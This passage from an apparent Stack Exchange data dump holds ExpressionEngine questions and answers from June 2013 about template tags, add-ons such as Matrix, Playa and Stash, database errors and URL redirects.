&lt;code&gt;result_order&lt;/code&gt;, &lt;code&gt;show_results&lt;/code&gt;, &lt;code&gt;chart_type&lt;/code&gt;, &lt;code&gt;chart_width&lt;/code&gt;, &lt;code&gt;chart_height&lt;/code&gt;, &lt;code&gt;chart_bg&lt;/code&gt;, &lt;code&gt;function&lt;/code&gt;, &lt;code&gt;line&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;deprecated_since&lt;/code&gt;, &lt;code&gt;use_instead&lt;/code&gt;, &lt;code&gt;timestamp&lt;/code&gt;) VALUES ('1', '4', '5', '68', 1, '1', '0', '1|5', 'answer_order', 'after_vote', 'google_pie_3d', '350', '300', 'FFFFFF', 'convert_human_date_to_gmt()', 478, 'C:\Projects\Website\Development\2.6.1\system\expressionengine\third_party\channel_polls\ft.channel_polls.php', '2.6', 'Localize::string_to_timestamp', 1370352409)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I lookup the table &lt;em&gt;exp_developer_log&lt;/em&gt; I see a lot of fields but not the fields that a described in the query above.&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-06-13T08:48:14.877" Title="I'll get a databae error when updating a entry using the channel polls field type" Tags="|database|error|developer-log|devdemon|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10972" PostTypeId="1" CreationDate="2013-06-04T13:38:21.280" Score="2" ViewCount="86" Body="&lt;p&gt;I am using a version of the Focus Labs Master Config setup and I am getting a database error when using the www. prefix in front of the URL. This is a problem that I haven't run into before. Anyone have any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the issue at &lt;a href=&quot;http://denvillechamber.com&quot; rel=&quot;nofollow&quot;&gt;http://denvillechamber.com&lt;/a&gt;. Obviously add the www prefix to recreate the error.&lt;/p&gt;&#xA;" OwnerUserId="1601" LastActivityDate="2013-06-04T13:46:44.783" Title="Database error when www prefix is used" Tags="|database|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10973" PostTypeId="2" ParentId="10699" CreationDate="2013-06-04T13:40:17.117" Score="1" Body="&lt;p&gt;Apologies if this seem obvious - and it will get more complex if you have price modifiers, etc, then requiring use of an extension hook and more logic - but why not just hard code the price with the price field's value?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form allow_user_price=&quot;y&quot; price=&quot;{product_price}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This still excludes using the simpler &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart/index.html&quot; rel=&quot;nofollow&quot;&gt;add_to_cart&lt;/a&gt; tag, which just accepts an &lt;code&gt;entry_id&lt;/code&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T13:40:17.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10974" PostTypeId="2" ParentId="10972" CreationDate="2013-06-04T13:46:44.783" Score="3" Body="&lt;p&gt;This is because the master config changes database configurations based on the value of &lt;code&gt;$_SERVER['HTTP_HOST']&lt;/code&gt;, and you likely have &quot;denvillechamber.com&quot; as your value, which is not the same as &quot;www.denvillechamber.com&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your site should not be accessible at both &lt;strong&gt;www&lt;/strong&gt; and &lt;strong&gt;non-www&lt;/strong&gt; locations - one should redirect to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this in your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^www\.denvillechamber\.com$ [NC]&#xA;RewriteRule ^(.*)$ http://denvillechamber.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should fix your problem.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T13:46:44.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10975" PostTypeId="1" AcceptedAnswerId="10978" CreationDate="2013-06-04T13:54:50.687" Score="1" ViewCount="328" Body="&lt;p&gt;Is it possible to put a exp:channel entries tag loop into a wygwam field? Simply placing something, e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;Common/sidebar_people&quot; show_channel=&quot;48&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... fails. The &quot;Allow EE Code&quot; plugin I thought was related but after installing it and looking through the php I'm unclear on its purpose.&lt;/p&gt;&#xA;" OwnerUserId="1040" LastEditorUserId="55" LastEditDate="2013-06-04T14:56:29.413" LastActivityDate="2013-06-04T14:56:29.413" Title="Embed an exp:channel tag into Wygwam" Tags="|ee2|wygwam|channel|embeds|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10976" PostTypeId="1" AcceptedAnswerId="10986" CreationDate="2013-06-04T14:35:14.577" Score="0" ViewCount="104" Body="&lt;p&gt;I have used Simple Search many times on many sites, but for some reason on this one, I am not getting any results when I know the keywords are there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://192.196.159.46/membership/business-search&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;member_profiles&quot; search_in=&quot;entries&quot; result_page=&quot;/membership/business-keyword-results&quot; where=&quot;any&quot;}&#xA;&amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;30&quot; maxlength=&quot;100&quot; placeholder=&quot;keywords&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; class=&quot;submit&quot;&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something simple I am overlooking? I would even settle for something complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-04T17:12:07.150" Title="Why can't Simple Search find any results?" Tags="|simple-search|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10977" PostTypeId="1" CreationDate="2013-06-04T14:43:02.667" Score="1" ViewCount="61" Body="&lt;p&gt;I'm receiving a PHP parse error whenever the safecracker tag is parsed. The error is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected 'function' (T_FUNCTION) in /srv/sites/xxx/xxx/xxx/expressionengine/modules/safecracker/libraries/safecracker_lib.php on line 2083&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.3 on PHP 5.4.15. &lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2013-06-04T14:43:02.667" Title="Safecracker parse error" Tags="|safecracker|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10978" PostTypeId="2" ParentId="10975" CreationDate="2013-06-04T14:56:04.567" Score="2" Body="&lt;p&gt;You'll need to wrap your Wygwam field in the &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code&lt;/a&gt; plugin tags within your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:allow_eecode embed=&quot;y&quot;}&#xA;    {your_wygwam_field}&#xA;{/exp:allow_eecode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T14:56:04.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10979" PostTypeId="1" CreationDate="2013-06-04T15:08:05.877" Score="1" ViewCount="75" Body="&lt;p&gt;After convertis my channel relationship to playa I have to resave all my entries in order for it to work. On the dev site it seemed to work correctly. &lt;/p&gt;&#xA;" OwnerUserId="1603" LastActivityDate="2013-06-04T15:08:05.877" Title="Have to resave all entries after playa converts" Tags="|playa|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10980" PostTypeId="1" AcceptedAnswerId="10983" CreationDate="2013-06-04T15:11:17.797" Score="0" ViewCount="344" Body="&lt;p&gt;Is there a way to add a condition like {if results} or {if empty} when searching for a category in a channel entry?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if a category 41 is selected display}Category Group Name: {categories show_group=&quot;41&quot;}{category_name} {/categories}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a number of category groups in my channel. When displaying the selections I want to first show a heading (category group name) then the selected categories.  If nothing is selected I don't want anything to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am testing: &lt;a href=&quot;http://devot-ee.com/add-ons/jco-entry-catcount&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/jco-entry-catcount&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:jco_entry_catcount entry_id=&quot;{entry_id}&quot; category_group_id=&quot;41&quot;:}&#xA;      {if nbrcategories &gt; 0}&#xA;         Provincial Riding: {categories show_group=&quot;41&quot;}{category_name} {/categories} &lt;br /&gt;&#xA;      {/if} {/exp:jco_entry_catcount}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:jco_entry_catcount entry_id=&quot;{entry_id}&quot; category_group_id=&quot;39&quot;:}&#xA;      {if nbrcategories &gt; 0}&#xA;         Federal Riding: {categories show_group=&quot;39&quot;}{category_name} {/categories} &lt;br /&gt;&#xA;      {/if} {/exp:jco_entry_catcount}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-06-04T15:32:00.260" LastActivityDate="2013-06-04T15:48:42.723" Title="Category Group Name Condition" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10981" PostTypeId="1" CreationDate="2013-06-04T15:26:26.867" Score="0" ViewCount="155" Body="&lt;p&gt;The following code works &lt;strong&gt;if&lt;/strong&gt; I comment out the Matrix fields (images &lt;code&gt;{stash:st_{pre_channel}_image_url}&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't get the code working with the image tags back in. I'm guessing it's a parse order issues :-/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried everything I can think of, but no joy. Could someone point me in the right direction please?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {preload_replace:pre_channel=&quot;people&quot;}&#xA;&#xA;    {exp:channel:entries disable=&quot;&quot; channel=&quot;{pre_channel}&quot; dynamic=&quot;no&quot;}&#xA;    {categories}&#xA;        {exp:stash:append_list name=&quot;{pre_channel}_{category_id}&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;        {!-- Main  --}&#xA;        {stash:st_{pre_channel}_title}{title}{/stash:st_{pre_channel}_title}&#xA;        {stash:st_{pre_channel}_page_url}{page_url}{/stash:st_{pre_channel}_page_url}&#xA;&#xA;        {!-- Content --}&#xA;        {stash:st_{pre_channel}_intro}{cf_{pre_channel}_intro}{/stash:st_{pre_channel}_intro}&#xA;        {stash:st_{pre_channel}_maincontent}{cf_{pre_channel}_maincontent}{/stash:st_{pre_channel}_maincontent}&#xA;&#xA;        {!-- Page Specific --}&#xA;        {stash:st_{pre_channel}_location}{cf_{pre_channel}_location}{/stash:st_{pre_channel}_location}&#xA;&#xA;        {!-- Image --}&#xA;        {stash:st_{pre_channel}_image_url}&#xA;            {cf_{pre_channel}_images limit=&quot;1&quot;}&#xA;                {mx_image}&#xA;            {/cf_{pre_channel}_images}&#xA;        {/stash:st_{pre_channel}_image_url}&#xA;&#xA;        {stash:st_{pre_channel}_image_caption}    {cf_{pre_channel}_images limit=&quot;1&quot;}{mx_caption}{/cf_{pre_channel}_images}{/stash:st_{pre_channel}_image_caption}&#xA;&#xA;    {/exp:stash:append_list}&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:categories channel=&quot;{pre_channel}&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            {exp:stash:get_list name=&quot;{pre_channel}_{category_id}&quot;}&#xA;                &amp;lt;article class=&quot;span4&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{st_{pre_channel}_page_url}&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;{st_people_image_url}&quot; alt=&quot;{st_{pre_channel}_title}&quot;&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;header&amp;gt;&#xA;                        &amp;lt;a href=&quot;{st_{pre_channel}_page_url}&quot;&amp;gt;&amp;lt;h2&amp;gt;{st_{pre_channel}_title}&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;p class=&quot;meta&quot;&amp;gt;{st_{pre_channel}_location}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/header&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&#xA;            {/exp:stash:get_list}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-06-05T19:39:08.493" Title="Stash + Matrix Parse Order?" Tags="|matrix|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10982" PostTypeId="1" CreationDate="2013-06-04T15:47:23.883" Score="1" ViewCount="159" Body="&lt;p&gt;I am trying to trigger an email notification  when changing the status of an order from within Order Manager. The trigger works when editing the order from Cartthrob but not Order Manager. I tried both &quot;Oder status has been changed&quot; and &quot;Cartthrob_order_manager: Order_updated&quot; as triggers. Anyone know if this is a bug in Order Manager or am I forgetting something?&lt;/p&gt;&#xA;" OwnerUserId="1460" LastActivityDate="2015-09-17T06:08:21.050" Title="Notifications not being sent on status change in order manager" Tags="|cartthrob|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10983" PostTypeId="2" ParentId="10980" CreationDate="2013-06-04T15:48:42.723" Score="2" Body="&lt;p&gt;You should use GWCODE CATEGORIES (&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/documentation&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; group_id=&quot;41&quot;}&#xA;######&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-04T15:48:42.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10984" PostTypeId="2" ParentId="10960" CreationDate="2013-06-04T15:59:06.813" Score="1" Body="&lt;p&gt;My suspect is that MySQL server is blocking the user for some reason - you should inspect server logs or talk to your hosting provider about that.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-06-04T15:59:06.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10985" PostTypeId="2" ParentId="10981" CreationDate="2013-06-04T17:02:35.253" Score="1" Body="&lt;p&gt;Why is the matrix inside {categories} variable pair? Looks like the point is that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix tag pairs won't get parsed if they are inside the categories tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find a way to do what you need, but I couldn't find any solution without using multiple channel:entries, on one way or another. Even using addons, we can't scape of this. Per example, there are some plugins that group entries by its categories, as &lt;a href=&quot;http://devot-ee.com/add-ons/category-sorted-entries&quot; rel=&quot;nofollow&quot;&gt;Category Sorted Entries&lt;/a&gt; and &lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;NSM Categories&lt;/a&gt;, but they don't allow you the get data from matrix fields, which means: multiple channel:entries variable pairs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, lets try to do this without addons.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre_channel=&quot;people&quot;}&#xA;{exp:channel:categories channel=&quot;{pre_channel}&quot; style=&quot;linear&quot; show_empty=&quot;no&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {exp:channel:entries disable=&quot;&quot; channel=&quot;{pre_channel}&quot; dynamic=&quot;no&quot; category=&quot;{category_id}&quot;}&#xA;            &amp;lt;article class=&quot;span4&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;{cf_{pre_channel}_images limit='1'}{mx_image}{/cf_{pre_channel}_images}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                    &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;p class=&quot;meta&quot;&amp;gt;{cf_{pre_channel}_location}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/header&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this way, the channel:categories variable pair will created one channel:entries variable pair for every category. Entries could repeat if they have more than one category on this group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, this is a really heavy code to parse. You should enable some cache feature on the tags or on the page.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-06-05T19:39:08.493" LastActivityDate="2013-06-05T19:39:08.493" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10986" PostTypeId="2" ParentId="10976" CreationDate="2013-06-04T17:12:07.150" Score="2" Body="&lt;p&gt;Are you certain the fields in which you know the keywords exist are set to be searchable? That is likely the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that &lt;code&gt;search_in=&quot;entries&quot;&lt;/code&gt; will not search entry titles.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T17:12:07.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10987" PostTypeId="1" AcceptedAnswerId="10988" CreationDate="2013-06-04T18:01:27.650" Score="2" ViewCount="1623" Body="&lt;p&gt;I would like to create a conditional based on the value of a date field compared to today's date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In English it would be: if Expiration Date is less than today's date set class to &quot;expired&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I tried it in EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{business_expire_date}&quot; &amp;lt; &quot;{current_time}&quot;}class=&quot;expired&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it doesn't work as desired. What is the correct way to write this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2016-02-19T11:35:03.180" Title="How do I compare date values?" Tags="|date|advanced-conditionals|comparison|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10988" PostTypeId="2" ParentId="10987" CreationDate="2013-06-04T18:11:15.477" Score="7" Body="&lt;p&gt;The dates need to be formatted properly first to compare them. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {business_expire_date format=&quot;%U&quot;} &amp;lt; {current_time format=&quot;%U&quot;}}class=&quot;expired&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to change the comparison operator &lt;code&gt;&amp;lt;&lt;/code&gt; to get desired results.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-06-04T18:11:15.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10989" PostTypeId="1" CreationDate="2013-06-04T18:39:03.647" Score="1" ViewCount="1154" Body="&lt;p&gt;Is the Offline Template a physical .html file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is write a database failure check in the config file so that if for some reason the database fails it will turn on maintenance mode which will display the offline template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the offline template is served from the DB this obviously will not work.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastActivityDate="2013-06-04T18:45:59.233" Title="Is the Offline Template a static file?" Tags="|templates|admin|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10990" PostTypeId="2" ParentId="10989" CreationDate="2013-06-04T18:45:59.233" Score="4" Body="&lt;p&gt;The offline template is served from the DB, which can be edited in the control panel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Design &gt; Message Pages &gt; Offline Template&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; allows you to use custom templates as system message which can parse other template tags.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-06-04T18:45:59.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10991" PostTypeId="1" AcceptedAnswerId="10992" CreationDate="2013-06-04T19:13:21.673" Score="1" ViewCount="942" Body="&lt;p&gt;I have an optional matrix field for a page banner in one of my channels. If someone publishes a new channel entry or edits one where the banner matrix field has never been touched, then the conditional &lt;code&gt;{if banner_matrix_field}banner matrix field has content{/if}&lt;/code&gt; validates as true, even though it's empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I publish a new page, and leave the banner matrix field empty, then the class &lt;code&gt;graphic&lt;/code&gt; will still display in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='test'&#xA;}&#xA;&amp;lt;header class=&quot;banner clearfix{if banner_matrix_field} graphic{/if}&quot;&amp;gt;&#xA;    {!-- Banner Content --}&#xA;&amp;lt;/header&amp;gt;&amp;lt;!--/.banner--&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add a row to the matrix field then delete it, then the field correctly validates as empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The add/delete row workaround actually only works every time you edit the entry. So if I edit the entry once, add/delete a matrix row, save, then come back and edit the same entry again and save without adding/deleting the matrix row, the conditional validates as true again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to matter what kind of fields are inside the matrix cells, I've tried it with Assets, File, and the default plain text cells with the same result.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6.1&lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-06-05T23:24:18.053" LastActivityDate="2013-06-05T23:24:18.053" Title="New &amp; Empty Matrix Field Does Not Validate as Empty" Tags="|matrix|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10992" PostTypeId="2" ParentId="10991" CreationDate="2013-06-04T19:22:06.827" Score="5" Body="&lt;p&gt;You can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if banner_matrix_field:total_rows &amp;gt;= 1} graphic{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html#total-rows&quot;&gt;Matrix docs link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-04T19:22:06.827" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10995" PostTypeId="1" CreationDate="2013-06-04T20:35:59.907" Score="0" ViewCount="51" Body="&lt;p&gt;I have a Safecracker form with several matrix fields. All are currently configured with minimum rows set at zero, however a couple of fields used to have their minimum row setting set to one. Now those fields show one row even though the setting has been changed to zero. The other rows properly show the &quot;No rows exist yet&quot; message with the link to add a row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I 'reset' the offending fields such that they display no rows?&lt;/p&gt;&#xA;" OwnerUserId="1007" LastEditorUserId="1007" LastEditDate="2013-06-10T13:26:06.853" LastActivityDate="2013-06-10T13:26:06.853" Title="Matrix in Safecracker form displaying a row even though min row setting is set to zero" Tags="|matrix|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10996" PostTypeId="1" CreationDate="2013-06-04T21:20:04.120" Score="2" ViewCount="36" Body="&lt;p&gt;I'm trying to create a directory of pet stores in UK&amp;amp;Ireland and I would like to know how I can input the brands each store carries into the CMS.It is just me doing the data entry so I wanted to be able to copt / paste from each store website and past their a-z of brand into one box but I've been told by my website designer that it isn't possible to do this as the results get mixed up ? Is this the case and how can I avoid months of manual entry and possible human error ?&lt;/p&gt;&#xA;" OwnerUserId="1605" LastActivityDate="2013-06-05T14:04:08.747" Title="Muliptle Entries in single box on CMS?" Tags="|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10997" PostTypeId="1" AcceptedAnswerId="11337" CreationDate="2013-06-04T21:28:55.583" Score="0" ViewCount="145" Body="&lt;p&gt;I've been trying to upgrade from Assets 1.2.1 to 2.1.3 but I get this error when I click &amp;quot;run module updates&amp;quot; as the &lt;a href=&quot;http://docs.pixelandtonic.com/assets/installation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs explain to do.&lt;/a&gt; The error I receive is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1054&lt;/p&gt;&#xA;&lt;p&gt;Unknown column 'file_path' in 'exp_assets'&lt;/p&gt;&#xA;&lt;p&gt;ALTER TABLE exp_assets MODIFY COLUMN file_path VARCHAR(255) NOT NULL&lt;/p&gt;&#xA;&lt;p&gt;Filename: /path/to/html/third_party/assets/upd.assets.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 403&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;ExpressionEngine is version 2.5.3&lt;/p&gt;&#xA;" OwnerUserId="278" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-06-18T17:35:40.880" Title="Database error when upgrading to Assets 2.1.3" Tags="|assets|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10998" PostTypeId="1" CreationDate="2013-06-04T21:50:11.330" Score="1" ViewCount="71" Body="&lt;p&gt;Ok guys, I have both latest versions of Matrix and Playa. I'm doing my whole build locally but when I pushed to my production server I'm having an issue. What I have is... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A group of Home types that show on a home type page. the channel for &quot;hometypes&quot; is what I'm using for my playa selection on the &quot;MyHomes&quot; page. so basically my loop looks like this... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{houses}&#xA;                    {house_slideshow}&#xA;                    &amp;lt;div class=&quot;slide rsContent&quot;&amp;gt;&#xA;                        &amp;lt;img class=&quot;rsImg&quot; src=&quot;{image}&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/house_slideshow}&#xA;                    {house_title}&#xA;                    &amp;lt;h3&amp;gt;Description&amp;lt;/h3&amp;gt;&#xA;                    {description}&#xA;                        {feature_list}&#xA;                        &amp;lt;li&amp;gt;{feature}&amp;lt;/li&amp;gt;&#xA;                        {/feature_list} &#xA;    {/houses}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously without most of the html. &quot;house_slideshow&quot; and &quot;feature_list&quot; are matrix fields in the &quot;hometypes&quot; channel. the issue is that the loop breaks if I include these. If I were to remove the two matrix loops it would work fine. Basically matrix fields won't work in my playa loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, this works perfectly fine locally just not remotely on a 